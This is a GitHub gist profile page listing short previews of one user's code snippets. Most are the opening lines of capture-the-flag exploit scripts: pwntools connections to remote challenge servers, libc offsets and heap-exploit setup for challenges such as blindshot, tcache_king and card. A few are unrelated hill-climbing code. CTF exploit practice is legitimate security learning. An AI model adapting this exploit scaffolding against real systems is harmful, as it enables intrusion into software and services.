Skip to content

Instantly share code, notes, and snippets.

View d4em0n's full-sized avatar
🧐
learning

M Ramdhan d4em0n

🧐
learning
View GitHub Profile
@d4em0n
d4em0n / exploit.c
Last active October 5, 2020 01:23
Tasteless CTF 2020: yaknote exploit script
// gcc -static -o exploit2 exploit2.c -lpthread
// NOTE: compiling using uclibc to get small sized binary
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <poll.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/ioctl.h>
@d4em0n
d4em0n / gist:a7e34486f38cce8070751c1b43c97839
Created October 3, 2020 04:54
psesudo opcode 0xa, 0xb, 0xc, 0xd, 0x10
opcode: 0xa
if al >= 0x20
int3()
rdi = eax
rsi = (rdi*8 + rdi)*8
rdx = *(0x10400+rsi)
*(rdx+0x40) = 1
opcode: 0xb
if al >= 0x20
@d4em0n
d4em0n / run.py
Last active September 21, 2020 02:19
TokyoWestern 2020 blindshot exploit script
from pwn import *
import random
p = 0
while True:
try:
# p = process("./blindshot")
p = remote("pwn01.chal.ctf.westerns.tokyo", 12463)
libc = ELF("./libc-2.31.so", checksec=False)
off = 0xb80
off = 0x8 | off << 4
@d4em0n
d4em0n / exploit.py
Created September 6, 2020 08:30
Tcache King Compfest CTF 12
from pwn import *
from random import randint
proc_name = "./tcache_king"
context.terminal = "tmux splitw -h -f".split()
#p = process(proc_name, env={"LD_PRELOAD":"./libc6_2.31-0ubuntu9_amd64.so"})
p = remote("128.199.157.172", 20978)
libc = ELF("./libc6_2.31-0ubuntu9_amd64.so")
#p = process(proc_name)
#libc = ELF("/opt/glibc2.31/lib/libc.so.6")
@d4em0n
d4em0n / a.py
Created August 31, 2020 15:54
gif2ascii
from pwn import *
import sys
from math import floor, ceil
from typing import AnyStr
# craft gif: http://giflib.sourceforge.net/whatsinagif/bits_and_bytes.html
ASCII_TO_INT: dict = {i.to_bytes(1, 'big'): i for i in range(256)}
INT_TO_ASCII: dict = {i: b for b, i in ASCII_TO_INT.items()}
@d4em0n
d4em0n / exploit.py
Created August 31, 2020 09:10
gactf card
from pwn import *
context.terminal = "tmux splitw -h -f".split()
#p = process("./card")
#libc = ELF("/opt/glibc2.31/lib/libc-2.31.so", checksec=False)
#libc.off_leak = 3889536
#p = process("./card", env={"LD_PRELOAD":"./libc.so.6"})
p = remote("45.77.72.122", 9777)
libc = ELF("./libc.so.6", checksec=False)
@d4em0n
d4em0n / exploit.py
Created August 31, 2020 09:09
gactf card
from pwn import *
context.terminal = "tmux splitw -h -f".split()
#p = process("./card")
#libc = ELF("/opt/glibc2.31/lib/libc-2.31.so", checksec=False)
#libc.off_leak = 3889536
#p = process("./card", env={"LD_PRELOAD":"./libc.so.6"})
p = remote("45.77.72.122", 9777)
libc = ELF("./libc.so.6", checksec=False)
@d4em0n
d4em0n / exploit.py
Last active August 10, 2020 06:27
Hacktoday: no free exploit script
from pwn import *
# NOTE: libc offset might be different, i'm using my local libc instead of
# challenge libc
context.terminal = "tmux splitw -h -f".split()
p = process("./chall")
def goto(n):
p.sendlineafter("#>", str(n))
return
@d4em0n
d4em0n / Main.java
Created June 19, 2020 14:00
hill climbing java
import java.lang.Math;
import java.util.ArrayList;
class Point {
public double x;
public double y;
public Point(double x, double y) {
this.x = x;
this.y = y;
}
@d4em0n
d4em0n / main.py
Last active June 19, 2020 07:58
optimum point hill climbing
from math import *
#points = [(2,2),(3,4),(4,2),(5,4)]
points = []
def euclid_length(x1,y1,x2,y2):
return sqrt((x1-x2)**2 + (y1-y2)**2)
def derivx_euclid_length(x1,y1,x2,y2):
return (x1-x2)/sqrt((x1-x2)**2 + (y1-y2)**2)